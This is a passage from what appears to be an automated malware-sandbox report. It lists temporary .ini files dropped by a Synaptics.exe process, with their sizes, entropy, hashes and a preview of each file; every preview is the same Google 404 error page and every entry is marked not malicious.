File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255002510190719
Encrypted:	false
SSDEEP:	24:GgsF+0N5nzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+az+pAZewRDK4mW
MD5:	21003A750429A61C39F87F4F58A93DDB
SHA1:	263FD9155CAA26F5E64882777A6628C7D97C831D
SHA-256:	07F188CE265811479C4AA20C741B538D6FB6E39FC447F1A039E3F2F8F36EC3D8
SHA-512:	D50FC3BC34773C01875113E81D1DC63EAA4BE4F786A63C72AD30072B52B30D993BF2BCB376A256229FB296FBC98DBF94B220486DB6BE47A9E49E76CE5DC1427C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="boMQ2bK9rN4CB7oTsGhx1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\RxB2ze6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.27034571911857
Encrypted:	false
SSDEEP:	24:GgsF+0igSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ng+pAZewRDK4mW
MD5:	4A663BBB430A78B954F54D2C33C14C7E
SHA1:	D2DEBEA1366396D69BBC47AB4C1A8109596FCC76
SHA-256:	325A5AD876CD52CE19EA1016BDDCAD0E57120A1C53E1DDDA2486601D4513DF48
SHA-512:	DD24438D2F029A32307B85975CAACBDD2EF091EA2B89C6D72E943DD251428A147DE433BEB0EECCB9D534DDB28539636592CC364D3DA8F07FFBA9122995C76295
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PFVi3IPS-xqVSAmhb4q6Iw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WNaEF7n.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265890770700337
Encrypted:	false
SSDEEP:	24:GgsF+0YrbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	76FE52E579022AA22832C86466BFDE39
SHA1:	779FA1F3F58463C930B1F18D1422D4E3B92B923D
SHA-256:	189CB8217397FE04FA349366748EEB1C4D9170FF57C00168BAF2ADA2B68AE217
SHA-512:	566EFE387DAABE92493425091C7C8C0CE94A2AA97AE6B9EB3F05478717BF0757A2F6DC665ACE5C55C9D863C195048804536BF3999B97F16B8457D7DD551DD6F8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ExrkytDhvcD1IGuZDGG6RQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YkZ4H7c.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263866507329888
Encrypted:	false
SSDEEP:	24:GgsF+0T1zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+CV+pAZewRDK4mW
MD5:	CC1482F5DDCE3B9410463ED0A93AB930
SHA1:	8208231A9E2E7084CA3C1887553A1434DC1DF334
SHA-256:	E6109BD7208E58DEF8948477BF29583E225D74C0334FF45342930454F0AFFE7B
SHA-512:	7CAA4D7EBF495F9C5719DC9F402CC4A20A5FEB976D56F1ADEC32068078F8C20B0EB5753AC1870AB6761AFB4476E72E72538856CC54BC30076C901E2265CC9CC8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2X5T1KhgJcL-A3CMDTgr6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Z3Mjhxf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270056199545199
Encrypted:	false
SSDEEP:	24:GgsF+0sTSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3T+pAZewRDK4mW
MD5:	1180591446725FBBA823AC5FC7F6D18F
SHA1:	CF73A5D8B42B9C9590651B3F7058D291AE2C6779
SHA-256:	F854534C0986FBEBBDED133477E119C7921B7887F110F135475CC6734593EED1
SHA-512:	63CF181A6054E3CF727569035E4DF1AEF77C63CA1964818515BBD9BA06A1DC47753E5AC956831BF3F6589F76B833A70B563FD4A4BF97FFBA1071189FA8328689
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jbcaYCMgRBS9naU6qBQ5mQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ajhcJzH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260805378898572
Encrypted:	false
SSDEEP:	24:GgsF+0hKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	7561F664E1E542DF4D845C2803AA184C
SHA1:	70F225A21544239C17E2151E5D374BA8EE3BDFB1
SHA-256:	33616D50E0203E10CF153D441250086D81920F0D640291B5E30E2A8083A66D79
SHA-512:	A95B60737D67EF570175BB655423DA21C178EA01D00AE216CD2A10A6180ED6F07B238633FE1BFF53E25120491B8501366885AC3A0FD748973541CCCAFE293CF0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1eNYzGNh8vMytlX18DfyLg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bQbQjxy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270499164652314
Encrypted:	false
SSDEEP:	24:GgsF+06OuDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+XD+pAZewRDK4mW
MD5:	EBC73F8319E801B6C6D273603A696C4D
SHA1:	EB59E9126FD8E3326066967922A8A9D64A5D4BF0
SHA-256:	CEEC1ED3374FA38C53D8B5ED91EDECE1A6D7BCCE1469F020E939B7C9069B50C1
SHA-512:	317CA6BEAA9E8E33037490015ECDF1E1503515A279713B7D65B366873CF7A0D80634E8A00C9F31AE79889D8154F7785B843344736DAD8CF3712081D90690D89C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7qXMJ6Wo5oKpbU-FCmKkXA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cIcHS2n.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275018226051399
Encrypted:	false
SSDEEP:	24:GgsF+0/JWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	C8D6BB15B5EFCCA994873CE64597652F
SHA1:	0AD21973DD2407606414C32B5DD6170DA3D57256
SHA-256:	66DCD68C145F8405A1943730682FF5053FB917978499337BAC6664DADD3C25D4
SHA-512:	61CA2664821F8D03772A49359F36CDBDB51E7861D6E9D302E6FE019A50C7CEDD7A8D8614EC6DDA7941BAE8602735E85F32F334E6531367AB8D8F0955C2FB70BD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XrVHkZAbYDrnQ_BVXUNJhg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eBGUwN6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2598070392821965
Encrypted:	false
SSDEEP:	24:GgsF+0RXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6X+pAZewRDK4mW
MD5:	B356A4593F9FED7B7A4B5CA7EC2A8061
SHA1:	895D1C2CC1812691A1261B42DA38BA24F27BE157
SHA-256:	196F7C9AE86D05FD9C1DA821FBAAB362B93412BC6E70E68C4C29277A83B1D316
SHA-512:	87F0708785D9F55E121A27AF1165282DDCC23A1DD8F43C97102BD2FD8BFF57F9B9D685A9FABB37A8F67ACC4350F016F3EEEC9CD5A37F8F17AEE7737ACBC42AC0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="emh2RlTL2CBjzS33vxS8dg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eWDC25X.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2721019695303495
Encrypted:	false
SSDEEP:	24:GgsF+0X8RDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6aD+pAZewRDK4mW
MD5:	858A68D9FCB7B9E5BC03B5DE249FE723
SHA1:	9A8360D46B1CCB30052FEF54BA18587B1F9CC72F
SHA-256:	6C93D9DA0AA0713CBA7676D31EB682243727F2562E866C37C285796D046DEFF4
SHA-512:	95698511081EFA3238EA356E05F3B601BE9E3F26E4B862B6BC454194E24878CB2FD4C906AE104CBAB74A73FCFB99D5E39BF0DE62ABBDE2C5E386052EA651AB41
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LHeVnpE6_VpH2DxXkDYUXA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fPG6Fo4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253675645980829
Encrypted:	false
SSDEEP:	24:GgsF+0jJSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+++pAZewRDK4mW
MD5:	5F0A1E0192F1C3CA2E192C5AC200EF00
SHA1:	EB3D3E12D3016FDB07568CAFB387658B7E83C689
SHA-256:	C9C4DCF9D8FA12D5067A60966B266109FBA1E23F0A70012D51F677F1A4A3DF8F
SHA-512:	10C35572BC8AE6BB15FF23B673C0BA157E85BADB7DD665B83BEAFECF407796AA6FEDEF2DF190504C01D4ECA797843CEF2184D2320246B6501A6858F0FE6235A4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="okyK1IojbdJfQWLbC1eopg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iBpnNee.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269077653313215
Encrypted:	false
SSDEEP:	24:GgsF+00UgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9Ug+pAZewRDK4mW
MD5:	0A7C71C68138078D461694418D559148
SHA1:	80FA9DF3A476B87ADE46BE6C1E527E612B9C08F6
SHA-256:	D2A50E3D9ADFDFC4ED37AEF486C16F6C0CA138A46798CF54281F97E982F38CD0
SHA-512:	79A9C01FD60893CAE5A7A2523C3B4BF22797162EF06BD173BD3E28C55CDE1BDE2FEE5D839F1351746EB8096D2D28CB22714912CB576139F96179F7AE937907AA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vgCEfSJRx7U0FdKkD3wHdQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iFAlmcr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260543469198689
Encrypted:	false
SSDEEP:	24:GgsF+0bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	2CA2D5205658D1E7FF4EFCD4559E9C77
SHA1:	BEF9855F4FD424A14048A6360B548EE080CCB7F8
SHA-256:	3C1A3F350CDF06B87DFF7C02E1C3BFFE7A29EFFB413586116CE069628D6C43E6
SHA-512:	A7CB6A3B9BADC1BE7B82F580D324BB3E34C2ECDECC1953244953DFDCC853A0D8B70927A860B9DC8C04EAD6957CFEDF66E412A1B27E85F9D502B0B4D85A248B02
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="itMXlYMEoxJ4A7mkXRJ9hg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ieDyoIc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258803178807284
Encrypted:	false
SSDEEP:	24:GgsF+0XzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Qz+pAZewRDK4mW
MD5:	BF0B858250E1870B3FD7CCF52D973A4A
SHA1:	57A9B78CEB98E19BF307E2985044192DA08BACA9
SHA-256:	EE7D0F49F4E01B7AB557679B0991ADFF87C7717CA104980C7173E237D3B93D1D
SHA-512:	29BA8A8144D06C2677E763F8D16C1515A53C04FC05D2781A69C763AF64042F88DCB49A2FE63747E459FB50351D4032B6FF6ABA8CB9FDFC0242FB02F29859D647
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Gg9LkJ5jp_Bt6nZ2QyrTmg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ihOVb2x.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265085044199661
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+g+pAZewRDK4mW
MD5:	3577F8694D204574F7B525F623553958
SHA1:	88FDF6695A4D4463CA1445EFD74161F3DE4569A0
SHA-256:	AC0E5416676DB57D5B724C9CBA07F055AD984D454A4619952852C24CCF3621B4
SHA-512:	2456D2A4D9F47274BB39AD7572C9E6A218FC53358716D5CBB6FFAE5F1C8064513C211B21AF2F43A51EC8513FE8C184F1A51C293475AED3559ED823155FB521FC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="II41z3QDaP_-U8MuOfnIbg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\j6eXGHQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274934084142228
Encrypted:	false
SSDEEP:	24:GgsF+0pCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+qC+pAZewRDK4mW
MD5:	E8490B06101455346D15690076A60D53
SHA1:	B852679A58F782D73818136CF7BC1A9025B3190A
SHA-256:	1C0B510105594747E8B6E16BB12466EB18866367BFC72C3B05C5D4F50B7A5083
SHA-512:	B6A359D35C3582D38AEE2DB511FEA3A8BA90EDC83CF9B66778493EA5C71C4F20CED8F077D232175054E557A2C4A548842A949A886CC9BFE55EE57A54CC7356C9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RVYeZIIefAJ-_RfhXPHu3A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lYG7Zkg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250044445482522
Encrypted:	false
SSDEEP:	24:GgsF+0Z4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	4899EEF9C7924C8C50B175F2479078FD
SHA1:	63151218CD0150B9284CFB70FA0600FBC024CE1D
SHA-256:	D46DB914F53E332665F272F42EF9757595C02A347142BD5D0969314217C049EC
SHA-512:	F437A479E5D63FF02E89FE0702027AA7766CC16BEB86EA1F0CB8294F6A1555D8FD1F5987A2056C6C9D2E04A763054C6E6BDC22F9138AEB75609BC8D1268ABE38
Malicious:	false
